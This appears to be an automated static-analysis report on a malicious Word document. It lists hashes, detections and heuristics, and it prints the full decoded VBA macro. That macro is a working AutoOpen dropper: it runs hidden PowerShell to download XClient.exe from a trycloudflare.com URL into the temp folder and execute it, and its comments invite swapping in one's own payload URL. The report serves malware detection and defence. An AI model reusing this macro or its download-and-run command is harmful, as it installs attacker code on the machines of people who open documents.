Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 177d8e9c930c371b…

MALICIOUS

Office (OLE) / .DOC

43.5 KB Created: 2026-06-14 08:00:00 Authoring application: Microsoft Office Word First seen: 2026-06-16
MD5: 783f26cf055c47fae8e8d23355fc0d4f SHA-1: 119a9512931bd678f31ea1c53a6d3c4b07b13fe3 SHA-256: 177d8e9c930c371bb259b360dea9acc18717f10bd5f12b8d8b953898869397a3
558 Risk Score

Heuristics 15

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        command = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command ""(New-Object System.Net.WebClient).DownloadFile('" & exeURL & "', '" & tempPath & "'); Start-Process '" & tempPath & "'"""
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Sub AutoOpen()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        tempPath = Environ("TEMP") & "\XClient.exe"
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • https://developmental-round-owner-cage.trycloudflare.com/XClient.exeIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1781 bytes
SHA-256: b49d10072889c0d1ca60db19f091723dc52982f456d44b11bae669872a933be7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' Esta macro se ejecutará automáticamente al abrir el documento
Sub AutoOpen()
    ' Oculta cualquier posible error para no alertar al usuario
    On Error Resume Next

    ' --- CONFIGURACIÓN ---
    ' CAMBIA ESTA LÍNEA por la URL directa de tu archivo ejecutable
    Dim exeURL As String
    exeURL = "https://developmental-round-owner-cage.trycloudflare.com/XClient.exe"
    ' --------------------

    ' Define una ruta temporal para guardar el archivo, usando un nombre poco sospechoso
    Dim tempPath As String
    tempPath = Environ("TEMP") & "\XClient.exe"

    ' Construye el comando de PowerShell para descargar y ejecutar el archivo en segundo plano
    ' -WindowStyle Hidden: Oculta la ventana de PowerShell
    ' -ExecutionPolicy Bypass: Ignora las políticas de ejecución de scripts de PowerShell
    Dim command As String
    command = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command ""(New-Object System.Net.WebClient).DownloadFile('" & exeURL & "', '" & tempPath & "'); Start-Process '" & tempPath & "'"""
    
    ' Crea un objeto WScript.Shell para ejecutar el comando silenciosamente
    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")
    
    ' Ejecuta el comando. El '0' significa que se ejecuta oculto.
    shell.Run command, 0, False

    ' Limpia el objeto para no dejar rastros
    Set shell = Nothing
End Sub

Attribute VB_Name = "NewMacros"
Sub macro()
'
' macro Macro
'
'

End Sub

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